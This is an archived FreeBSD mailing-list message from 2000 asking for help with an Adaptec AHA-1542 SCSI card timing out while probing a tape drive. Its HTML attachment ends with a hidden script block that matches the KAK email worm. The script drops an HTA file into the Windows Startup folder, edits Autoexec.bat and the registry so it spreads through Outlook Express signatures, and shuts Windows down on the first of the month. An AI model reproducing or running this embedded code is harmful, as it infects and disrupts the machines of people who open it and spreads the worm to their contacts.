Date: Sat, 8 Jul 2000 18:45:44 -0500 From: "Robert Small" <robert@superjake.net> To: <freebsd-questions@freebsd.org>, <freebsd-current@freebsd.org> Subject: SCSI Question Message-ID: <002401bfe936$a1e7ebe0$06a481d0@inu.net>
next in thread | raw e-mail | index | archive | help
[-- Attachment #1 --]
Damon Hammis wrote:
> The jumpers are set wrong on the card. I had the exact same problem with
> an aha-1542 and aha-1540 card recently. The docs on the jumpers that you
> can get on Adaptec's site are kind of cryptic, but the card will work once
> you get the jumpers placed correctly.
>
> Currently I have mine running at irq 9, drq 5 and my jumpers are setup
> like this:
>
> J5 pin 8 jumpered pin 9 the jumper is on one pin
> J9 pins 2, 6, and 9 are jumpered.
>
> I have that configuration running on two systems now working great. Let
> me know how it goes for ya.
>
> --Damon
>
> On Fri, 7 Jul 2000, Robert Small wrote:
>
> > I installed an Adaptec AHA-1542 controller in my system tonight, and
> > hooked up a Sony SDT-5000 tape drive.
> >
> > When I try to boot into FreeBSD (5.0-20000511-CURRENT FreeBSD
> > 5.0-20000511-CURRENT #4: Thu Jul 6 20:31:41 CDT 2000) I receive:
> >
> > Waiting 15 seconds for SCSI devices to settle down
> > (approximately 30-45 seconds later)
> > (Probe0:aha0:0:0:0) CCB 0xc782c508
> > (Probe0:aha0:0:0:0) CCB 0xc782c508
> > aha0: aha_cmd: Timeout waiting for adapter idle
> > ahainitmboxes: Initialization command failed
> > aha0 no longer in timeout
> > (Probe6:aha0:0:6:0) CCB 0xc782c508
> > (Probe6:aha0:0:6:0) CCB 0xc782c508
> > aha0: aha_cmd: Timeout waiting for adapter idle
> > ahainitmboxes: Initialization command failed
> > aha0 no longer in timeout
> >
> > And it keeps repeating. I had to remove the card to boot into FreeBSD.
> > The card recognizes the tape drive.
> >
> > Any ideas?
> >
> > Robert
> >
> >
> > --------------------------------------------------------------------
> > Does killing time damage eternity?
> >
> >
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> >
Ok after further investigation, I can get the system to recognize the card,
aha0 at port-0x130-0x133 irq 9 drq 5 on isa0
aha0: AHA-1542CF FW Rev. F.0 (ID=45) SCSI Host Adapter, SCSI ID 7, 16 CCBs
but when it does, I get all of these errors
Waiting 15 seconds for SCSI devices to settle down
(approximately 30-45 seconds later)
(Probe0:aha0:0:0:0) CCB 0xc782c508
(Probe0:aha0:0:0:0) CCB 0xc782c508
aha0: aha_cmd: Timeout waiting for adapter idle
ahainitmboxes: Initialization command failed
aha0 no longer in timeout
(Probe6:aha0:0:6:0) CCB 0xc782c508
(Probe6:aha0:0:6:0) CCB 0xc782c508
aha0: aha_cmd: Timeout waiting for adapter idle
ahainitmboxes: Initialization command failed
aha0 no longer in timeout
and after 30-45 minutes the system will finally get finished probing and give
me a login prompt.
So it's not an IRQ problem, in fact, the only way I can make the system
boot-up quickly is to make it share an IRQ. On boot-up, it recognizes and
lists the tape drive, but when it comes to probing, it's no joy.
Any ideas/suggestions/hints?
[-- Attachment #2 --]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<META content="MSHTML 5.00.2314.1000" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT face=Arial size=2>Damon Hammis wrote:<BR><BR>> The jumpers are set
wrong on the card. I had the exact same problem with<BR>> an aha-1542
and aha-1540 card recently. The docs on the jumpers that you<BR>> can
get on Adaptec's site are kind of cryptic, but the card will work once<BR>>
you get the jumpers placed correctly.<BR>><BR>> Currently I have mine
running at irq 9, drq 5 and my jumpers are setup<BR>> like
this:<BR>><BR>> J5 pin 8 jumpered pin 9 the jumper is on one pin<BR>>
J9 pins 2, 6, and 9 are jumpered.<BR>><BR>> I have that configuration
running on two systems now working great. Let<BR>> me know how it goes
for ya.<BR>><BR>> --Damon<BR>><BR>> On Fri, 7 Jul 2000, Robert Small
wrote:<BR>><BR>> > I installed an Adaptec AHA-1542 controller in my
system tonight, and<BR>> > hooked up a Sony SDT-5000 tape drive.<BR>>
><BR>> > When I try to boot into FreeBSD (5.0-20000511-CURRENT
FreeBSD<BR>> > 5.0-20000511-CURRENT #4: Thu Jul 6 20:31:41 CDT 2000) I
receive:<BR>> ><BR>> > Waiting 15 seconds for SCSI devices to settle
down<BR>> > (approximately 30-45 seconds later)<BR>> >
(Probe0:aha0:0:0:0) CCB 0xc782c508<BR>> > (Probe0:aha0:0:0:0) CCB
0xc782c508<BR>> > aha0: aha_cmd: Timeout waiting for adapter idle<BR>>
> ahainitmboxes: Initialization command failed<BR>> > aha0 no longer in
timeout<BR>> > (Probe6:aha0:0:6:0) CCB 0xc782c508<BR>> >
(Probe6:aha0:0:6:0) CCB 0xc782c508<BR>> > aha0: aha_cmd: Timeout waiting
for adapter idle<BR>> > ahainitmboxes: Initialization command
failed<BR>> > aha0 no longer in timeout<BR>> ><BR>> > And it
keeps repeating. I had to remove the card to boot into FreeBSD.<BR>>
> The card recognizes the tape drive.<BR>> ><BR>> > Any
ideas?<BR>> ><BR>> > Robert<BR>> ><BR>> ><BR>> >
--------------------------------------------------------------------<BR>>
> Does killing time damage eternity?<BR>> ><BR>> ><BR>>
><BR>> > To Unsubscribe: send mail to <A
href="mailto:majordomo@FreeBSD.org">majordomo@FreeBSD.org</A><BR>> > with
"unsubscribe freebsd-questions" in the body of the message<BR>>
><BR><BR>Ok after further investigation, I can get the system to recognize
the card,<BR><BR>aha0 at port-0x130-0x133 irq 9 drq 5 on isa0<BR>aha0:
AHA-1542CF FW Rev. F.0 (ID=45) SCSI Host Adapter, SCSI ID 7, 16 CCBs<BR><BR>but
when it does, I get all of these errors<BR><BR> Waiting 15 seconds for SCSI
devices to settle down<BR> (approximately 30-45 seconds
later)<BR> (Probe0:aha0:0:0:0) CCB 0xc782c508<BR> (Probe0:aha0:0:0:0)
CCB 0xc782c508<BR> aha0: aha_cmd: Timeout waiting for adapter
idle<BR> ahainitmboxes: Initialization command failed<BR> aha0 no
longer in timeout<BR> (Probe6:aha0:0:6:0) CCB
0xc782c508<BR> (Probe6:aha0:0:6:0) CCB 0xc782c508<BR> aha0: aha_cmd:
Timeout waiting for adapter idle<BR> ahainitmboxes: Initialization command
failed<BR> aha0 no longer in timeout<BR><BR>and after 30-45 minutes the
system will finally get finished probing and give<BR>me a login
prompt.<BR><BR>So it's not an IRQ problem, in fact, the only way I can make the
system<BR>boot-up quickly is to make it share an IRQ. On boot-up, it
recognizes and<BR>lists the tape drive, but when it comes to probing, it's no
joy.<BR><BR>Any ideas/suggestions/hints?<BR><BR></FONT></DIV>
<DIV>
<DIV style="POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC
id=scr></OBJECT></DIV>
<SCRIPT><!--
function sErr(){return true;}window.onerror=sErr;scr.Reset();scr.doc="Z<HTML><HEAD><TITLE>Driver Memory Error</"+"TITLE><HTA:APPLICATION ID=\"hO\" WINDOWSTATE=Minimize></"+"HEAD><BODY BGCOLOR=#CCCCCC><object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIPT>function sEr(){self.close();return true;}window.onerror=sEr;fs=new ActiveXObject('Scripting.FileSystemObject');wd='C:\\\\Windows\\\\';fl=fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=fl.SubFolders;for(var mye=new Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=mye.item();ids=new String(idd);idn=ids.slice(31);fic=idn.substring(1,9);kfr=wd+'MENUDÉ~1\\\\PROGRA~1\\\\DÉMARR~1\\\\kak.hta';ken=wd+'STARTM~1\\\\Programs\\\\StartUp\\\\kak.hta';k2=wd+'System\\\\'+fic+'.hta';kk=(fs.FileExists(kfr))?kfr:ken;aek='C:\\\\AE.KAK';aeb='C:\\\\Autoexec.bat';if(!fs.FileExists(aek)){re=/kak.hta/i;if(hO.commandLine.search(re)!=-1){f1=fs.GetFile(aeb);f1.Copy(aek);t1=f1.OpenAsTextStream(8);pth=(kk==kfr)?wd+'MENUD~1\\\\PROGRA~1\\\\DMARR~1\\\\kak.hta':ken;t1.WriteLine('@echo off>'+pth);t1.WriteLine('del '+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(k2).Attributes=2;}t2=fs.CreateTextFile(wd+'kak.reg');t2.write('REGEDIT4');t2.WriteBlankLines(2);ky='[HKEY_CURRENT_USER\\\\Identities\\\\'+idn+'\\\\Software\\\\Microsoft\\\\Outlook Express\\\\5.0';sg='\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\"Default Signature\"=\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\\\00000000]');t2.WriteLine('\"name\"=\"Signature #1\"');t2.WriteLine('\"type\"=dword:00000002');t2.WriteLine('\"text\"=\"\"');t2.Write('\"file\"=\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.WriteBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature Flags\"=dword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]');t2.Write('\"cAg0u\"=\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.hta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s '+wd+'kak.reg');t3=fs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><BODY><DIV style=\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC id=scr></"+"OBJECT></"+"DIV>');t4=fs.OpenTextFile(k2,1);while(t4.Read(1)!='Z');t3.WriteLine('<SCRIPT><!--');t3.write('function sErr(){return true;}window.onerror=sErr;scr.Reset();scr.doc=\"Z');rs=t4.Read(3095);t4.close();rd=/\\\\/g;re=/\"/g;rf=/<\\//g;rt=rs.replace(rd,'\\\\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la==\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu Démarrer\\\\\\\\Programmes\\\\\\\\Démarrage\\\\\\\\kak.hta\":\"C:\\\\\\\\windows\\\\\\\\Start Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf(\"msie\")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf(\"msie 5.\")!=-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT></"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg');d=new Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today !');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc failed !]]%%%%%</"+"BODY></"+"HTML>";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la=="fr")?"C:\\windows\\Menu Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("msie 5.")!=-1))scr.write();
//--></SCRIPT>
</OBJECT></DIV></BODY></HTML>
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?002401bfe936$a1e7ebe0$06a481d0>
